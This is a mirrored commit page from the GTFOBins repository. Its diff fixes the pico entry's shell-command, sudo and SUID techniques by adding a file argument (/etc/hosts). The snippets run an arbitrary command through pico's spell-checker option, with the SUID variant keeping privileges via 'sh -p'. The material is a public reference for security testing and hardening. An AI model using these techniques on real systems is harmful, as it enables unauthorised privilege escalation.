mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Fix pico execution functions as they require a file to work on
This commit is contained in:
parent
d665a38758
commit
c634e3898f
@ -7,7 +7,7 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo "$COMMAND" > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
pico -s $TF
|
pico -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: After running this exit the editor to see the command output.
|
- description: After running this exit the editor to see the command output.
|
||||||
@ -16,7 +16,7 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo "$COMMAND" > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
sudo pico -s $TF
|
sudo pico -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- description: After running this exit the editor to see the command output.
|
- description: After running this exit the editor to see the command output.
|
||||||
@ -25,7 +25,7 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
|
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
./pico -s $TF
|
./pico -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user